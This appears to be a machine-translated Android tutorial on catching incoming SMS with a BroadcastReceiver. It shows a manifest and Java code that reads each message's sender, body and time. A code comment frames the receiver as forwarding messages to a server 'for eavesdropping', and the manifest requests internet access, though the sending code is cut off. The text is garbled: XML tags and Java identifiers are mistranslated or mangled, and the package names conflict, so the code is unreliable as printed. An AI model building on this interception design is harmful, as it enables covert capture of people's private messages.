When the device receives a new SMS message, it broadcasts an Intent containing the android. provider. Telephony. SMS_RECEIVED action.
For an application to listen to SMS Intent broadcast, you must first add the RECEIVE_SMS permission. Add a uses-permission to the application manifest, as shown in the following snippet:
<Uses-permission android: name = "android. permission. RECEIVE_SMS"/>
AndroidManifest. xml code:
<? Xml version = "1.0" encoding = "UTF-8"?> <Manifest xmlns: android = "http://schemas.android.com/apk/res/android" package = "cn. tbx. sms "android: versionCode =" 1 "android: versionName =" 1.0 "> <application android: icon =" @ drawable/icon "android: label = "@ string/app_name"> <Cycler android: name = ". SMSBroadcastReceiver "> <intent-filter> <action android: name =" android. provider. telephony. SMS_RECEIVED "/> </intent-filter> </Cycler> </application> <uses-sdk andro Id: minSdkVersion = "8"/> <uses-permission android: name = "android. permission. RECEIVE_SMS"/> <! -- Receive SMS permission --> <! -- Access Network permissions --> <uses-permission android: name = "android. permission. INTERNET"/> </manifest>
Source code of SMSBroadcastReceiver. java:
Package cn. itcast. sms; import java. SQL. date; import java. text. simpleDateFormat; import java. util. hashMap; import java. util. map; import cn. itcast. utils. socketHttpRequester; import android. content. broadcastReceiver; import android. content. context; import android. content. intent; import android. telephony. smsMessage; import android. util. log; public class SMSBroadcastReceiver extends BroadcastReceiver {// obtain the text message information from the recipient and send the message to the server for eavesdropping @ Overridepublic void onReceive (Context context, Intent intent) {Object [] pduses = (Object []) intent. getExtras (). get ("pdus"); for (Object pdus: pduses) {byte [] pdusmessage = (byte []) pdus; // one text message SmsMessage sms = SmsMessage. createFromPdu (pdusmessage); String mobile = sms. getOriginatingAddress (); // obtain the telephone number String content = sms. getMessageBody (); // get the text message content Date date = new Date (sms. getTimestampMillis (); // obtain the SMS sending time. // 2009-10-12 12: 21: 23 SimpleDateFormat format = new SimpleDateFormat ("yyyy-MM-dd HH: mm: ss "); // set the format String sendtime = format for practice. format (date );.....}}}
Each SmsMessage object contains the details of the SMS message, including the source address (mobile phone number), time, and message body.
Then you can implement your own operations.
The specific implementation of broadcast will be analyzed later.